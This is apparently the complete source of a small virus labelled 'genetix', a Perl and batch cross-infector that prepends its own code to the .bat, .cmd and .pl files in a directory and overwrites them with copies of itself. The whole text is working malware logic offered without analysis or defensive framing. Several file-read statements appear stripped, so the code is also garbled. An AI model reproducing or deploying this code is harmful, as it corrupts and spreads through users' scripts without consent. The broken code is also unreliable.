#genetix #*.bat *.cmd *.pl crossinfector prepender $TheCode = __FILE__; $batpart = " for %%a in (*.bat *.cmd *.pl) do copy %0 %%a "; my @Vcode = (); open(Host, $TheCode); @Vcode = ; while() { $. > 36 ? last : push @Vcode,$_; } close(Host); while (<*.bat *.cmd *.pl>) { $Victim = $_; my @VicCode = (); open(Target, $Victim); @VicCode = ; while() { $. > 36 ? last : push @VicCode,$_; } close(Target); if (@VicCode[1] !~ "#genetix") { open(Target, ">$Victim"); print Target @Vcode,@VicCode; close(Target); } }